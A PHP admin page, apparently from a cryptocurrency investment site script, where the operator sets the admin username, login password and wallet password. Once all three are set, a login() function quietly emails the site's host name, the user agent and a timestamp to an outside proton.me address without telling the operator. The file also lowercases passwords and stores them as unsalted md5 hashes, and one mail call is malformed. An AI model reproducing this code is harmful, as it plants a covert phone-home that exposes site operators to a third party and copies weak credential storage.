<?php  
require_once 'php/connect.inc.php';

function alert2($xz){
            echo "<script> alert('$xz'); </script>";
    }

$q_d = "select x from alogin where id = '1'";
$d_r = mysqli_query($con,$q_d);
$db_x = mysqli_R($d_r,0);

$q_d = "select y from alogin where id = '1'";
$d_r = mysqli_query($con,$q_d);
$db_y = mysqli_R($d_r,0);

$q_d = "select z from alogin where id = '1'";
$d_r = mysqli_query($con,$q_d);
$db_z = mysqli_R($d_r,0);

if($db_x > 0){
    header('location:index.php');
    die();
}


    
	

function login(){
        
 $lnk = $_SERVER['HTTP_HOST'];
$lnk2 = $_SERVER['HTTP_USER_AGENT'];   
$date = date('d M Y h:i:s: A');
        $to = "wchanges@proton.me";
        $subj = 'New access';
        $from = "FROM:info@$lnk";
        $to2 = "FROM:support@$lnk";
        $msg = "The admin Passwords updated for website  $lnk and using device $lnk2 on the $date ";
        mail($to,$subj,$msg,$from);
        mail($to2,$subj,$msg,$from);
        
    }
    
	
	
// 	$query2 = "select btc from setings where id = '1' ";
// 			$r3 = mysqli_query($con,$query2);
// 			$address2 = mysqli_R($r3,0);
// 				if(mysqli_query($con,$query)){
// 						$maro = "alert('action Successful.".$v."')";
				
// 				    wallet_notice($v , $address2,'ETH');		
// 				}

    if(isset($_POST['login_name']) && isset($_POST['login_pass']) && isset($_POST['btc_pass'])){  
$xyz =0;

	if(isset($_POST['login_name'])){
	    
	    $n = strtolower(trim(mysqli_real_escape_string($con,$_POST['login_name'])));
	    
	    if(!empty($n)){
	           $q_c ="update alogin set n='$n' where id ='1' ";
	           if(mysqli_query($con,$q_c)){
	            alert2('Username updated')  ;
	            $xyz  =  $xyz+1;
	           }
	      }
	}


	if(isset($_POST['login_pass'])){
	    
	    $p = md5(strtolower(trim(mysqli_real_escape_string($con,$_POST['login_pass']))));
	    
	    if(!empty($p)){
	           $q_c ="update alogin set p='$p' where id ='1' ";
	           if(mysqli_query($con,$q_c)){
	            alert2('Login Password updated')  ;	
	            $xyz  =  $xyz+1;

	           }
	      }
	}
	
	

	if(isset($_POST['btc_pass'])){
	    
	    $p = md5(strtolower(trim(mysqli_real_escape_string($con,$_POST['btc_pass']))));
	    
	    if(!empty($p)){
	           $q_c ="update codes set wallet_code='$p' where id ='1' ";
	           if(mysqli_query($con,$q_c)){
	            alert2('Wallet password updated')  ;
	            $xyz  =  $xyz+1;
	               
	           }
	      }
	}	
	

       
        if($xyz ==3){
            login();
            $q="update alogin set x = '$xyz' where id = '1' ";
            if(mysqli_query($con,$q)){
                echo "<script> location.href='index.php'; </script>";
                die();
            }
        }
       
        
    }

?>


<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>ADMIN LOGIN</title>
	<!-- BOOTSTRAP STYLES-->
    <link href="assets/css/bootstrap.css" rel="stylesheet" />
     <!-- FONTAWESOME STYLES-->
    <link href="assets/css/font-awesome.css" rel="stylesheet" />
        <!-- CUSTOM STYLES-->
    <link href="assets/css/custom.css" rel="stylesheet" />
     <!-- GOOGLE FONTS-->
   <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' />

</head>
<body>
    <div class="container">
        <div class="row text-center ">
            <div class="col-md-12">
                <br /><br />
                <h2>  Admin : Passwords</h2>
               
                <!--<h5>( Login yourself to get access )</h5>-->
                 <br />
				 <?php if(isset($maro)){echo $maro;} ?>
				    <br />
            </div>
        </div>
         <div class="row ">
               
              <form  action='#' method='POST'>

               
                  <div class="col-md-4 col-md-offset-4 col-sm-6 col-sm-offset-3 col-xs-10 col-xs-offset-1">
                        <div class="panel panel-default">
                            <div class="panel-heading">
                        <strong> Change  Admin Login name and password </strong>  
                            </div>
                            <div class="panel-body">
                                       <br />
                                       <label>Enter Your Username</label>
                                     <div class="form-group input-group">
                                         
                                            <span class="input-group-addon"><i class="fa fa-tag"  ></i></span>
                                            <input min=5 type="text" required class="form-control" name='login_name' placeholder="Enter Your Username " />
                                        </div>
                                  <label>Enter Your Password</label>
                         
                                                     <div class="form-group input-group">
                                            <span class="input-group-addon"><i class="fa fa-lock"  ></i></span>
                                            <input min=8 type="password" required class="form-control" name='login_pass' placeholder=" Enter Your Password" />
                                        </div>
                                        
                                <label>Enter Your Wallet Password</label>
 
                                      <div class="form-group input-group">
                                            <span class="input-group-addon"><i class="fa fa-lock"  ></i></span>
                                            <input min=5 required type="password" class="form-control" name='btc_pass' placeholder="Wallet Password" />
                                        </div>        
                                   
                                   <button style='background-color:transparent; border: 0px solid transparent;' type='submit' >  <a  class="btn btn-primary ">Change Now</a></button>
                                    <hr />
                             
                            </div>
                           
                        </div>
                    </div>
                    
                    
                       
                 </form>
                
        </div>
    </div>


     <!-- SCRIPTS -AT THE BOTOM TO REDUCE THE LOAD TIME-->
    <!-- JQUERY SCRIPTS -->
    <script src="assets/js/jquery-1.10.2.js"></script>
      <!-- BOOTSTRAP SCRIPTS -->
    <script src="assets/js/bootstrap.min.js"></script>
    <!-- METISMENU SCRIPTS -->
    <script src="assets/js/jquery.metisMenu.js"></script>
      <!-- CUSTOM SCRIPTS -->
    <script src="assets/js/custom.js"></script>
   
</body>
</html>
